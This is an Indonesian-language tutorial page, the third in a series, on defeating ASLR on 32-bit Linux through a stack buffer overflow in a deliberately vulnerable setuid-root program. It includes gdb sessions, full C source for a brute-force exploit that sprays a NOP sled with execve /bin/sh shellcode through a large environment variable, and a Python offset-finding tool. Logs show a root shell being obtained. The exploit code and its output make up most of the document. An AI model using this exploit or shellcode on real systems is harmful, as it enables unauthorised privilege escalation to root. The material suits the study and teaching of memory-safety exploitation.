Friday , April 26 2019
Home / White Paper / Linux Buffer Overflow Tutorial part III

Linux Buffer Overflow Tutorial part III

Pendahuluan

Sebelumnya saya telah menulis artikel buffer overflow dengan 2 tehnik berbeda .
namun, dalam artikel tersebut kita tidak memakai randomisasi stack (ASLR) dan kita bisa mengalokasikan memory dengan mudah .
pada artikel kali ini saya akan menjelaskan tehnik buffer overflow dengan memakai randomisasi stack (ASLR).
ASLR adalah singkatan dari Address Space Layout randomization .
dengan kata lain, kita akan mengeksploitasi aplikasi buffer overflow dengan return address yang dinamis .
maka mengeksploitasi dengan mengalokasikan return adress memory pada satu waktu hanya percuma saja
karena pada waktu berbeda kita akan mendapatkan address yang berbeda (dinamis).
akan tetapi, ASLR tidak begitu kuat dalam mesin 32 bit .
faktanya, beberapa Linux kernel dikompilisasi dalam 23 bits dengan tujuan untuk mengidentifikasi relatif address
di dalam stack dimana ruang address dapat teralokasi .

” 2 ^ 23 == 8388608 atau 8 MB ”

Hal tersebut berarti base stack address menggunakan address yang jatuh pada letak yang tidak dipastikan (random)
tetapi dalam hal random tersebut, hanya berada dalam jangkauan 8388608 byte atau 8 MB pada memori .
jika kita memanggil program yang rentan terhadap serangan melalui variabel environment yang sangat panjang
sebut saja 128 KB, dimana kebanyakan dari variabel environment tersebut adalah diisi dengan NOP ~ No OPeration (0x90) atau junk “A” (0x41) .
dan pada akhir variable environment tersebut kita tempatkan shellcode kita .
dan apa yang akan terjadi ? cepat atau lambat setelah melewati beberapa kali proses
pengeksekusian tersebut akan menempatkan kita pada address yang kita inginkan .
No OPeration (NOP) atau junk “A” akan naik 1 demi 1 sampai pengeksekusian shellcode berhasil .
tehnik ini hampir sama dengan tehnik pada artikel buffer overflow kedua yang saya buat .
anda bisa lihat di http://www.exploit-db.com/papers/14108/ .

Dan jika kita mengeksekusikannya lewat exec*e (execve atau execle) melewati proses aplikasi yang rentan tersebut
Contoh : variable environment kita berisi NOP atau junk + shellcode dengan panjang 128 KB .
coba kita hitung berapa persen payload kita dalam ruang address .

” 128000 / 8000000 x 100% = 1.525878906% atau 1.6%”

Dalam perhitungan berikut membuktikan bahwa payload kita yang berukuran 128 KB .
mempunyai 1.525878906% (persen) atau 1.6% dari seluruh ruang address 100% ~ 8388608 bytes atau 8 MB .
jadi kita mempunyai kesempatan 1.6% dan akan semakin dekat dengan buffer yang rentan tersebut .
tentu saja kita akan membuat program yang akan mengexploitasi secara automatis
karena kita akan mau tes 1 per 1 secara manual ~ That’s was a very bad jokes isn’t it ? 😉

[sociallocker]

Skenario

Pada skenario dalam tutorial ini, kita mendapatkan kasus ada aplikasi yang rentan terhadap buffer overflow .
namun karena kita hanya user biasa (non-root) tentu kita tidak dapat mematikan ASLR untuk mengekploitasi aplikasi tersebut .
mari kita buat saja skenario tersebut .

[text][email protected]:~/bof$ cat /proc/sys/kernel/randomize_va_space
[email protected]:~/bof$ vim bof.c
[email protected]:~/bof$ cat bof.c[/text] [c]#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}[/c] [text][email protected]:~/bof$ gcc -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
[email protected]:~/bof$ sudo chown root:root bof
[sudo] password for gunslinger:
[email protected]:~/bof$ sudo chmod 4755 bof[/text]

Skenario berhasil di buat .
Sekarang kita harus mencari berapa bytes yang di perlukan untuk mengoverwrite eip .
kita tidak perlu mencari secara manual berapa bytes yang kita butuhkan
untuk mencari beberapa bytes yang di berikan agar si vilnerable program mengalami crash seperti artikel sebelumnya .
karena kita bisa pakai aplikasi yang saya buat .

[text][email protected]:~/bof$ ./bufferbruteforce.py

Buffer brute force
Programmer : gunslinger_ <yudha.[email protected]<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute(‘data-cfemail’);if(a){s=”;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>

Usage: ./bufferbruteforce.py [options] Options: -a, –application <path-to-application> | Target application for bruteforcing buffer
-s, –start <int> | start byte for bruteforcing buffer
-e, –end <int> | end byte for bruteforcing buffer
-h, –help <help> | print this help

Example: ./bufferbruteforce.py -a /home/gunslinger/bufferoverflow/bof -s 1 -e 500

[email protected]:~/bof$ ./bufferbruteforce.py -a /home/gunslinger/bof/bof -s 1 -e 500

Buffer brute force
Programmer : gunslinger_ <[email protected]<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute(‘data-cfemail’);if(a){s=”;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>

[*] Checking Existing application [Ok] [*] Checking perl [Ok] [*] Preparing for bruteforcing buffer [Ok] [*] buffering on 404 byte(s)
[!] Application got segmentation fault by giving 404 byte(s) into buffer !!

[/text]

Ok sudah di temukan 404 bytes yang di perlukan untuk membuat vulnerable program tersebut mengalami crash .
sekarang kita cari berapa bytes yang di perlukan untuk membuat register eip tersebut teroverwrite .

[text][email protected]:~/bof$ gdb bof
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"…
(gdb) r perl -e 'print "A" x 406'
Starting program: /home/gunslinger/bof/bof perl -e 'print "A" x 406'

Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb) r perl -e 'print "A" x 407'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof perl -e 'print "A" x 407'

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) r perl -e 'print "A" x 408'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof perl -e 'print "A" x 408'

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb)[/text]

Eip teroverwrite total dengan huruf “A” tersebut .
Dan payload kita akan berukuran 408 bytes juga .
Sekarang kita lakukan debugging untuk menentukan perkiraan register esp (stack pointer) dan kita ambil salah satunya .
karena register tersebut tidak akan jatuh pada alamat yang statis .
pertama kita disassemble dulu dimana fungsi strcpy tersebut .

[text](gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: sub $0x198,%esp
0x080483cd <main+9>: mov 0xc(%ebp),%eax
0x080483d0 <main+12>: add $0x4,%eax
0x080483d3 <main+15>: mov (%eax),%eax
0x080483d5 <main+17>: mov %eax,0x4(%esp)
0x080483d9 <main+21>: lea -0x190(%ebp),%eax
0x080483df <main+27>: mov %eax,(%esp)
0x080483e2 <main+30>: call 0x80482f8 <[email protected]>
0x080483e7 <main+35>: mov $0x0,%eax
0x080483ec <main+40>: leave
0x080483ed <main+41>: ret
End of assembler dump.
(gdb) b *main+30
Breakpoint 1 at 0x80483e2
(gdb)[/text]

yah , terlihat bahwa fungsi strcpy terletak di 0x80483e2
0x080483e2 : call 0x80482f8

sekarang kita akan mencari dimana perkiraan register esp akan jatuh aplikasi tersebut .

[text](gdb) r hey where is esp ?
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof hey where is esp ?

Breakpoint 1, 0x080483e2 in main ()
(gdb) i r esp
esp 0xbfeba1f0 0xbfeba1f0
(gdb) r hey where is esp ?
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof hey where is esp ?

Breakpoint 1, 0x080483e2 in main ()
(gdb) i r esp
esp 0xbf98dcc0 0xbf98dcc0
(gdb) r hey where is esp ?
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof hey where is esp ?

Breakpoint 1, 0x080483e2 in main ()
(gdb) i r esp
esp 0xbfcc8800 0xbfcc8800
(gdb)[/text]

Terlihat bukan ? register esp jatuh pada address yang tidak tetap statis .
pertama kita dapatkan register esp terletak pada address -> 0xbfeba1f0
esp 0xbfeba1f0 0xbfeba1f0
kedua kita dapatkan register esp terletak pada address -> 0xbf98dcc0
esp 0xbf98dcc0 0xbf98dcc0
ketiga kita dapatkan register esp terletak pada address -> 0xbfcc8800
esp 0xbfcc8800 0xbfcc8800

hal itu dikarenakan ASLR yang membuat address tersebut jatuh pada address yang dinamis .
ok, sekarang tinggal kita pilih dari address ketiga tersebut, pada skenario tutorial ini
kita ambil register esp yang pertama kali yaitu : 0xbfeba1f0

dan kita jalankan program pengeksploitasi dengan RET (return address) 0xbfeba1f0 .

[text][email protected]:~/bof$ cat /proc/sys/kernel/randomize_va_space
[email protected]:~/bof$ vim stackbf.c
[email protected]:~/bof$ gcc -o stackbf stackbf.c
[email protected]:~/bof$ ./stackbf

Stack Brute Force
Programmer : gunslinger_ <[email protected]<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute(‘data-cfemail’);if(a){s=”;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>
Usage: ./stackbf <application> <payload_size>

[email protected]:~/bof$ ./stackbf bof 408
[*] Using return address 0xbfeba1f0
[*] Environment variable 128 kb
[*] Shellcode size 28 bytes
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux c0debreaker 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# echo GAME OVER
GAME OVER
# exit
[email protected]:~/bof$[/text]

Attack vector berhasil dilancarkan dengan mulus .
namun dapatkah jika return address tersebut di ganti ke address yang lebih rendah ?
coba kita gunakan RET (return address) 0xbffffff4

[text][email protected]:~/bof$ vim stackbf.c
[email protected]:~/bof$ gcc -o stackbf stackbf.c
[email protected]:~/bof$ ./stackbf bof 408
[*] Using return address 0xbffffff4
[*] Environment variable 128 kb
[*] Shellcode size 28 bytes
(…after some second…)
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux c0debreaker 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# echo GAME OVER
GAME OVER
# exit
[email protected]:~/bof$[/text]

Berhasil, hanya saja memerlukan waktu beberapa detik untuk spawn shell .

Kesimpulan

Dengan experimen berikut, kita menyimpulkan bahwa ASLR tidak begitu kuat dalam mesin 32 bit.
[/sociallocker]

Stuff

[c]——————————————stackbf.c——————————————

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
You can use debugger to get esp address, that can make program will be defeated more faster !
RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime…
*/
#define RET 0xbffffff4 // you may change this
#define NOP 0x90

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000

char shellcode[] =
/*
; standard /bin//sh
global _start

_start:

xor eax,eax
push byte 11
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push ebx
int 0x80

*/
"xb0x17x31xdbxcdx80xb0x0bx99x52x68x2fx2fx73"
"x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80";

int main(int argc, char **argv)
{
char *application = NULL;
char *buffer = NULL;
char env_var[ENV_LEN];
char *env[2] = { env_var, NULL};
int *p, num, ret, pid, payload_size;

if (argc < 3)
{
printf("nStack Brute Force");
printf("nProgrammer : Gunslinger_");
printf("nUsage: %s <application> <payload_size>nn", argv[0]);
exit(1);
}

printf("[*] Using return address 0x%x n", RET);
printf("[*] Environment variable %d kbn", ENV_LEN / 1000);
printf("[*] Shellcode size %d bytesn", strlen(shellcode));

application = strdup(argv[1]);
payload_size = atoi(argv[2]);
buffer = (char*) malloc(payload_size);

memset (env_var, NOP, ENV_LEN);

memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
env_var[ENV_LEN-1]=0;

p = (int*) buffer;

for (num = 0; num < payload_size; num += sizeof(int), p++)
*p = RET;
*p=0;
do {
switch(pid=fork())
{
case 0:
execle (application, application, buffer, NULL, env);
exit(0);
break;
default:
waitpid (pid, &ret, 0);
break;
}
}
while (ret);
}

————————————————-EOF—————————————————[/c] [python]——————————————bufferbruteforce.py——————————————

#!/usr/bin/python
import sys, time, StringIO, commands, re, os, os.path

”’
This is buffer brute forcer program, allow you to brute forcing buffer and know how bytes to make got Segmentation fault .
Written for educational purpose and pentest only. Use it at your own risk .
Toolname : bufferbruteforce.py
Author : gunslinger_ <[email protected]<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute(‘data-cfemail’);if(a){s=”;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>
date : Sun Jul 4 00:58:54 WIT 2010
You can use this simple bof.c for testing .
—————–bof.c—————–
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}
——————EOF——————
Example usage :
[email protected]:/home/gunslinger/bof# cat bof.c
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}
[email protected]:/home/gunslinger/bof# echo 0 > /proc/sys/kernel/randomize_va_space
[email protected]:/home/gunslinger/bof# gcc -o bof -g -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
[email protected]:/home/gunslinger/bof# exit
[email protected]:~/bof$ ./bbf.py -a /home/gunslinger/bof/bof -s 1 -e 500

Buffer brute force
Programmer : gunslinger_ <[email protected]<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute(‘data-cfemail’);if(a){s=”;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>

[*] Checking Existing application [Ok] [*] Checking ‘/proc/sys/kernel/randomize_va_space’ [Ok] [*] Checking perl [Ok] [*] Preparing for bruteforcing buffer [Ok] [*] buffering on 404 byte(s)
[!] Application got segmentation fault by giving 404 byte(s) into buffer !!

[email protected]:~/bof$
”’

”’define color”’
green = ‘&#092;&#048;33[38m’
red = ‘&#092;&#048;33[31m’
reset = ‘&#092;&#048;33[0;0m’

name = sys.argv[0] fail = "[Failure]"
ok = "[Ok]"

face = ”’
Buffer brute force
Programmer : gunslinger_ <[email protected]<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute(‘data-cfemail’);if(a){s=”;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>”’

option = ”’
Usage: %s [options] Options: -a, –application <path-to-application> | Target application for bruteforcing buffer
-s, –start <int> | start byte for bruteforcing buffer
-e, –end <int> | end byte for bruteforcing buffer
-h, –help <help> | print this help

Example: %s -a /home/gunslinger/bufferoverflow/bof -s 1 -e 500
”’ % (name,name)

def myface() :
print face

def helpMe() :
myface()
print option
sys.exit(1)

for arg in sys.argv:
if arg.lower() == ‘-a’ or arg.lower() == ‘–application’:
app = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == ‘-s’ or arg.lower() == ‘–start’:
counter = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == ‘-e’ or arg.lower() == ‘–end’:
end = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == ‘-h’ or arg.lower() == ‘–help’:
helpMe()
elif len(sys.argv) <= 1:
helpMe()

def checkingexistingfile():
if os.path.exists(app):
exfile = green+ok
else:
exfile = red+fail
print "n[*] Checking Existing application ttttt%s%s" % (exfile, reset)
if exfile == red+fail:
print "[*] Please checking your application target path"
exit()

def checkperl():
perl = "perl -e ‘print "A" x 1’"
result = StringIO.StringIO(commands.getstatusoutput(perl)[1]).read()
A = re.findall("A", result)
if A:
print "[*] Checking perl ttttttt%s%s%s" % (green, ok, reset)
else:
print "[*] Checking perl ttttttt%s%s%s" % (red, fail, reset)
print "[*] Are perl installed on your system ?"
exit()

def bruteforcebuff():
global counter
print "[*] Preparing for bruteforcing buffer ttttt%s%s%s" % (green, ok, reset)
while counter <= end :
try:
sys.stdout.write("r[*] buffering on %s%d%s byte(s)" % (red,int(counter),reset))
sys.stdout.flush()
args = app+’ ‘+’perl -e 'print "A" x '+repr(counter)+''
SIGSEGV = StringIO.StringIO(commands.getstatusoutput(args)[0]).read()
segmentation_fault = re.findall("35584", SIGSEGV)
if segmentation_fault:
print "n[!] Application got segmentation fault by giving %s%d%s byte(s) into buffer !!n" % (red, int(counter), reset)
break
counter = int(counter) + 1
except KeyboardInterrupt:
print "n[-] Exiting %s" % (name)
sys.exit(1)

def main():
myface()
checkingexistingfile()
checkperl()
bruteforcebuff()

if __name__ == ‘__main__’:
main()[/python]